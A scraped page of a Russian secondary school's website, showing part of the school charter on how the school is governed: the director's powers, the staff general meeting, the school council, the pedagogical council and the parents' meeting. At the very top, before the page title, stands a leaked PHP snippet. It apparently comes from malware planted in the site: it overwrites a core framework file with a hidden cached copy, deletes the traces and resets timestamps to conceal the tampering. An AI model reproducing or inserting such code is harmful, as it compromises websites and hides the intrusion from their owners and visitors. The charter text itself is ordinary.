$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Устав Сагарчинской средней общеобразовательной школы - страница 6

Сайт Сагарчинской средней школы

Будущее начинается здесь и сейчас!

ВХОД



Календарь



Опрос

Интересно ли Вам на этом сайте?
 

Статистика

Пользователи : 6
Статьи : 290
Просмотры материалов : 209873

На сайте

Сейчас 36 гостей онлайн

Вход в электронный дневник

Баннер

Вход в систему "Госуслуги"

Баннер

Персональные данные Дети

Баннер

Устав Сагарчинской средней общеобразовательной школы - страница 6

Индекс материала
Устав Сагарчинской средней общеобразовательной школы
страница 2
страница 3
страница 4
страница 5
страница 6
страница 7
страница 8
Все страницы

 

 

6. УПРАВЛЕНИЕ УЧРЕЖДЕНИЕМ

 

  1. Управление Учреждением осуществляется в соответствии с законодательством Российской Федерации на основе сочетания принципов единоначалия и коллегиальности.
  2. Единоличным исполнительным органом Учреждения является директор, который осуществляет текущее руководство деятельностью Учреждения в соответствии с действующим законодательством.
  3. Директор Учреждения назначается на должность и увольняется с должности Постановлением  Учредителя.
  4. Компетенция директора Учреждения:
  5. действует       на основании единоначалия по вопросам, входящим в его компетенцию;
  6. действует       без доверенности от имени Учреждения, представляет Учреждение во всех органах власти, управления и контроля, организациях, предприятиях, учреждениях;
  7. организует    планирование и осуществляет руководство текущей деятельностью Учреждения;
  8. обеспечивает разработку и вводит в действие (утверждает) локальные нормативные акты Учреждения, в т.ч. после принятия и (или) согласования их органами управления Учреждением, в установленном законом случаях - с учетом мнения профсоюзного комитета (при его наличии в Учреждении), иные документы;
  9. осуществляет прием на работу, переводы, увольнение работников Учреждения, распределение их должностных обязанностей, заключает с ними трудовые договоры;
  10. осуществляет расстановку педагогических кадров Учреждения, распределяет учебную нагрузку, проводит подбор заместителей, определяет их функциональные обязанности;
  11. организует работу по проведению аттестации педагогических работников Учреждения и учитывает результаты аттестации при расстановке кадров;
  12. в пределах компетенции издает приказы и инструкции, обязательные для выполнения учащимися и работниками Учреждения, объявляет благодарности и налагает взыскания на работников Учреждения:
  13. обеспечивает разработку и внесение изменений и дополнений в настоящий Устав либо его новой редакции;
  14. осуществляет процедуры приема, перевода и отчисления учащихся;
  15. является единоличным распорядителем денежных средств, обеспечивает их рациональное использование в соответствии с утвержденными в установленном порядке муниципальным заданием и планом финансово- хозяйственной деятельности Учреждения;
  16. принимает меры для расширения и развития материальной базы Учреждения, оснащения современным учебным оборудованием, создания надлежащих социально- бытовых условий для учащихся и работников;
  17. заключает от имени Учреждения договоры (контракты), соглашения с юридическими и физическими лицами в пределах компетенции Учреждения;
  18. организует деятельность Учреждения, не являющуюся основной, в т.ч. оказание платных дополнительных образовательных услуг в порядке и на условиях, предусмотренных законодательством Российской Федерации, на основании соответствующего Положения;
  19. обеспечивает выполнение санитарно-эпидемиологических, противопожарных требований и других условий по охране жизни и здоровья учащихся и работников Учреждения;
  20. приостанавливает в обязательном порядке решение Общего собрания работников Учреждения, Совета Учреждения и (или) Педагогического совета Учреждения в случае, если они противоречат законодательству Российской Федерации, настоящему Уставу;
  21. осуществляет иные полномочия, необходимые для обеспечения нормального функционирования Учреждения и выполнения требований действующего законодательства Российской Федерации, за исключением полномочий, отнесенных к компетенции Учредителя и (или) Уполномоченного органа.
  22. Директор Учреждения несет ответственность за руководство образовательной, воспитательной работой и организационно-хозяйственной деятельностью Учреждения.
  23. Органами управления Учреждением являются Общее собрание работников Учреждения (далее - Общее собрание), Совет Учреждения (далее - Совет), Педагогический совет Учреждения, деятельность которых регламентируется соответствующим и Положениями,

 

Директор Учреждения должен иметь высшее образование и соответствовать квалификационным требованиям, указанным в квалификационных справочниках, по соответствующим должностям руководителей образовательных организаций и (или) профессиональным стандартам.

 

Должностные обязанности директора Учреждения не могут исполняться по совместительству.

 

Запрещается занятие должности директора Учреждения лицами, которые не допускаются к педагогической деятельности по основаниям, установленным трудовым законодательством.

 

5) утверждает штатное расписание, устанавливает заработную плату работникам Учреждения, в том числе надбавки, доплаты, выплаты стимулирующего характера в пределах имеющихся средств на основании соответствующего Положения;

 

6.7.Общее собрание Учреждения состоит из всех работников трудового коллектива. Возглавляет Общее собрание председатель Общего собрания.

 

Компетенции Общего собрания трудового коллектива Учреждения:

 

-       принимает Устав Учреждения, изменения в Устав;

 

-       утверждает Коллективный договор;

 

-       принимает Правила внутреннего трудового распорядка:

 

-       принимает Положения о доплатах и надбавках и иные локальные акты;

 

-       обсуждает вопросы состояния трудовой дисциплины в  Учреждении и мероприятия по ее укреплению, рассматривает факты нарушения трудовой дисциплины работниками;

 

-       обсуждает вопросы охраны и безопасности условий труда работников, охраны жизни и здоровья учащихся, воспитанников;

 

-       рассматривает вопросы, связанные с укреплением и развитием материально-технического оснащения образовательного и жизнеобеспечивающего процессов Учреждения, осуществляемых в пределах собственных финансовых средств;

 

-       знакомится с итоговыми документами по проверке государственными и муниципальными органами деятельности Учреждения и заслушивает администрацию о выполнении мероприятий по устранению недостатков в работе.

 

6.7.1.Общее собрание имеет право:

 

-       участвовать в управлении Учреждением;

 

-       принимать решения при наличии на собрании не менее 2/3 работников.

 

Каждый член общего собрания имеет право:

 

-       потребовать обсуждения Общим собранием любого вопроса, касающегося деятельности Учреждения, если его предложение поддержит не менее одной трети членов собрания;

 

-       при несогласии с решением Общего собрания высказать свое мотивированное мнение, которое должно быть занесено в протокол.

 

6.7.2.Порядок формирования и сроки полномочий Общего собрания:

 

-    на заседание Общего собрания могут быть приглашены представители Учредителя с правом совещательного голоса;

 

-    срок полномочия общего собрания – один год;

 

-    общее собрание трудового коллектива Учреждения избирает председателя и секретаря собрания сроком на один год;

 

6.7.3.Председатель Общего собрания:

 

  -  организует деятельность Общего собрания;

 

  -  информирует членов трудового коллектива о предстоящем заседании не менее чем за 3 дня до его проведения;

 

  - организует подготовку и проведение заседания;

 

  - определяет повестку дня;

 

  - контролирует выполнение решений.

 

6.7.4. Общее собрание собирается не реже двух раз в календарный год.

 

6.7.5. Общее собрание считается правомочным, если на нем присутствует не менее 50% членов трудового коллектива Учреждения.

 

6.7.6.Решение общего собрания принимается открытым голосованием.

 

Решение Общего собрания считается принятым, если за него проголосовало не менее 2/3 присутствующих.

 

Решение Общего собрание обязательно к исполнению для всех членов трудового коллектива Учреждения.

 

6.7.7.Заседания Общего собрания оформляются протоколом.

 

Протоколы подписываются  председателем и секретарем Общего собрания.

 

Нумерация протоколов ведется от начала учебного года.

 

6.8.Совет является коллегиальным органом управления, осуществляющим в соответствии с настоящим Уставом решение отдельных вопросов, относящихся к компетенции Учреждения.

 

6.8.1.Совет состоит из избираемых членов, представляющих интересы:

 

 - работников Учреждения;

 

 - родителей (законных представителей) учащихся.

 

 - обучающихся         старших классов, избираемых на общих собраниях соответствующих участников образовательного процесса.

 

В состав Совета входит директор Учреждения.

 

По решению Совета в его состав могут быть приглашены и включены граждане, чья профессиональная и (или) общественная деятельность, знания, возможности могут позитивным образом содействовать функционированию и развитию Учреждения (кооптированные члены Совета), а также представители иных органов управления, функционирующих в Учреждении.

 

6.8.2.Совет избирается сроком на 5 лет открытым голосованием на Общем собрании и собраниях родителей (законных представителей) обучающихся, обучающихся и приступает к деятельности с момента избрания (назначения) не менее 2 от общей численности членов Совета, определенной его Положением.

 

Председателем Совета не может быть избран директор Учреждения.

 

6.8.3.Компетенция Совета:

 

Согласовывает:

 

-       Программу развития Учреждения;

 

-       Правила внутреннего распорядка учащихся.

 

6.8.4.Вносит директору Учреждения предложения в части:

 

-       мероприятий по охране и укреплению здоровья учащихся, по обеспечению безопасности образовательного процесса, по профилактике безнадзорности и правонарушений несовершеннолетних, а также организации иных мероприятий, проводимых в Учреждении;

 

-       соблюдения прав и свобод обучающихся и работников Учреждения.

 

6.8.5.Участвует:

 

-       в рассмотрении конфликтных ситуаций между участниками образовательного процесса в случаях, когда стороны не пришли к обоюдному соглашению;

 

-       в подготовке публичного (ежегодного) доклада Учреждения, подписываемого совместно председателем Совета и директором Учреждения.

 

6.8.6.Заслушивает отчет директора Учреждения или иных уполномоченных им лиц по итогам учебного и финансового года, о реализации мер социальной поддержки определенной категории лиц в соответствии с действующим законодательством.

 

6.8.7.Регулярно информирует участников образовательного процесса о своей деятельности и принимаемых решениях.

 

6.8.8.Имеет право

 

-       приглашать на заседания Совета работников Учреждения для получения разъяснений, консультаций, заслушивания отчетов по вопросам, входящим в компетенцию Совета, не нарушая законодательство Российской Федерации и осуществление образовательного процесс;

 

-       запрашивать и получать от директора Учреждения информацию, необходимую для осуществления функций Совета, в том числе в порядке контроля за реализацией решений Совета.

 

6.8.9.Рассматривает иные вопросы в пределах своей компетенции.

 

6.9. Организационной формой работы Совета являются заседания, которые проводятся по мере необходимости, но не реже двух раз в год.

 

6.10.Заседания Совета созываются председателем Совета, а в его отсутствие - заместителем председателя. Правом созыва заседания Совета обладает также директор Учреждения.

 

6.11.Первое заседание Совета созывается директором Учреждения не позднее чем через месяц после его формирования. На первом заседании Совета, в частности, избираются председатель и секретарь Совета, при необходимости заместитель (заместители) председателя Совета.

 

6.12.Планирование работы Совета осуществляется в порядке, определенным регламентом Совета, который должен быть принят не позднее, чем на втором его заседании.

 

6.13. Заседание Совета правомочно, если на нем присутствуют не менее половины от числа членов Совета, определенного его Положением. Заседание Совета ведет председатель, а в его отсутствие - заместитель председателя.

 

6.14.Решения Совета, как правило, принимаются большинством голосов присутствующих на заседании его членов, открытым голосованием, и оформляются протоколом, который подписывается председателем и секретарем Совета.

 

6.15.Педагогический совет.

 

Управлением педагогической деятельностью осуществляет педагогический совет. Членами педагогического совета являются все педагогические работники учреждения.

 

6.15.1.В компетенцию Педагогического Совета входит:

 

-       обсуждение и принятие локальных актов, касающиеся педагогической деятельности, решение  вопросов о внесении в них необходимых изменений, дополнений;

 

-       определение направления образовательной деятельности Учреждения;

 

-       выбор образовательных программ; образовательных, воспитательных, развивающих методик, технологий для использования в педагогическом процессе;

 

-       обсуждение и принятие Годового плана;

 

-       решение вопросов содержания форм и методов образовательного процесса, планирование педагогической деятельности;

 

-       рассматривание вопросов изучения и внедрения опыта среди педагогических работников;

 

-       рассматривание вопросов переподготовки, аттестации педагогических кадров;

 

-       принятие решения об организации дополнительных образовательных услуг, в том числе платных;

 

-       рассматривание отчета о результатах самообследования;

 

-       анализ результатов внутреннего мониторинга качества образования;

 

-       подведение итогов деятельности за учебный год;

 

-       контроль выполнения ранее принятых решений;

 

-       заслушивание информации и отчетов педагогических работников, докладов представителей организаций и учреждений, взаимодействующих с Учреждением по вопросам образования и воспитания подрастающего поколения, в том числе сообщений о проверке соблюдения санитарно – гигиенического режима, об охране труда, здоровья и жизни воспитанников и других вопросов;

 

-       организация изучения и обсуждения нормативно-правовых документов в области   образования;

 

-       рассматривание характеристик и принятие решения о поощрении, награждении педагогических работников.

 

6.15.2. Порядок формирования и сроки полномочий Педагогического совета:

 

-       председателем Педагогического совета  по должности является руководитель Учреждения. Руководитель Учреждения своим приказом назначает на учебный год секретаря педагогического Совета;

 

-       заседания Педагогического совета являются открытыми: на них могут присутствовать представители всех групп участников образовательных отношений: родители, педагоги, представители Учредителя, а также заинтересованные представители органов государственной власти (местного самоуправления), общественных объединений;

 

-       срок полномочий Педагогического совета – учебный год;

 

-       педагогический совет проводится не реже 4 раз в учебный год;

 

-       тематика заседаний включается в годовой план деятельности Учреждения с учетом нерешенных проблем и утверждается на первом в учебном году заседании Педагогического совета;

 

-       работой Педагогического совета руководит председатель Педагогического совета;

 

-       в отсутствие председателя Педагогического совета его должность замещает заместитель руководителя  по воспитательно-образовательной и методической работе;

 

-       решения принимаются открытым голосованием простым большинством голосов;

 

-       решения считаются правомочными, если на заседании Педагогического совета Учреждения присутствовало не менее двух третей состава, и считаются принятыми, если за решение проголосовало более половины присутствовавших на заседании;

 

-       решения Педагогического совета принимаются большинством голосов от числа присутствующих, носят рекомендательный характер и становятся обязательными для всех членов педагогического коллектива после утверждения руководителем Учреждения;

 

-       время, место и повестка дня заседания Педагогического совета сообщается не позднее, чем за две недели до его проведения с целью подготовки каждого педагога к обсуждению темы и обнародуется секретарем Педагогического совета в общественно доступных местах Учреждения и посредством телекоммуникационных сетей;

 

-       заседания и решения Педагогического совета протоколируются. Протоколы подписываются председателем Педагогического совета и секретарем.

 

6.16.При Педагогическом совете Учреждения могут создаваться методический совет, методические объединения педагогов, проблемные группы, деятельность которых регламентируется Положениями, принятыми Педагогическим советом Учреждения.

 

6.17.В Учреждении могут создаваться на добровольной основе советы учащихся и советы родителей (законных представителей) учащихся по их инициативе. Учреждение признает представителей советов, представляет им необходимую информацию, допускает к участию в заседаниях органов управления Учреждением при обсуждении вопросов управления Учреждением, принятии локальных нормативных актов, затрагивающих права и законные интересы учащихся и (или) их родителей (законных представителей).

 

6.18. Родительское собрание.

 

Родительское собрание – коллегиальный орган общественного самоуправления Учреждения, действующий в целях развития и совершенствования образовательного и воспитательного процесса, взаимодействия родительской общественности и Учреждения.

 

В состав родительского собрания входят все родители (законные представители) воспитанников, учащихся посещающих Учреждение. На заседания родительского собрания могут быть приглашены педагогические, медицинские и другие работники Учреждения, представители общественности, Учредителя.

 

Срок  полномочий родительского собрания – учебный год. Родительское собрание созывается не реже двух раз в год.

 

Изменения и дополнения в настоящее положение вносятся родительским собранием и принимаются на его заседании.

 

6.18.1. Компетенция Родительского собрания:

 

-       знакомится с уставом Учреждения, обсуждает предложения по внесению необходимых изменений и дополнений в устав Учреждения, в вопросах касающихся взаимодействия с родительской общественностью, прав и обязанностей участников образовательного процесса;

 

-       вносит предложения по совершенствованию образовательной деятельности в Учреждении;

 

-       обсуждает вопросы организация питания и медицинского обслуживания в Учреждении и вносит предложения по их улучшению;

 

-       обсуждает вопросы по формирование навыков здорового образа жизни, соблюдению режима дня, оздоровления в условиях Учреждения и семьи;

 

-       принимает решения по вопросам оказания помощи Учреждению в работе с неблагополучными семьями;

 

-       участвует в планировании совместных с родителями (законными представителями) мероприятий в Учреждении – групповых родительских собраний, родительских клубов, дней открытых дверей и др.;

 

-       проводит разъяснительную и консультативную работу среди родителей (законных представителей) воспитанников об их правах и обязанностях, по взаимодействию семьи и Учреждения в вопросах воспитания, обучения и развития детей;

 

-       заслушивает отчеты заведующего о финансово-хозяйственной деятельности, о проведении ремонтно-строительных работ в летний период и подготовки Учреждения к новому учебному году.

 

6.18.2.Порядок формирования и принятия решений Родительского собрания:

 

-       заседания Родительского собрания правомочны, если на них присутствует не менее половины всех родителей (законных представителей) воспитанников Учреждения (группы);

 

-       для ведения заседаний Родительское собрание из своего состава выбирает председателя и секретаря сроком на один учебный год;

 

-       решение Родительского собрания принимается открытым голосованием и считается принятым, если за него проголосовали не менее двух третей присутствующих;

 

-       решения оформляются протоколами, подписываются председателем и секретарем Родительского собрания, доводятся до сведения родителей (законных представителей) и хранятся в соответствии с номенклатурой дел Учреждения;

 

-       непосредственным выполнением решений занимаются ответственные лица, указанные в протоколе заседания Родительского собрания. результаты докладываются родительскому собранию на следующем заседании;

 

-       родительское собрание несет ответственность:

 

 -   за выполнение закрепленных за ним задач и функций;

 

 -   за соответствие принимаемых решений законодательству РФ, нормативно – правовым актам.

6.19. В Учреждении могут создаваться на добровольной основе советы учащихся и советы родителей (законных представителей) учащихся по их инициативе. Учреждение признает представителей советов, представляет им необходимую информацию, допускает к участию в заседаниях органов управления Учреждением при обсуждении вопросов управления Учреждением, принятии локальных нормативных актов, затрагивающих права и законные интересы учащихся и (или) их родителей (законных представителей).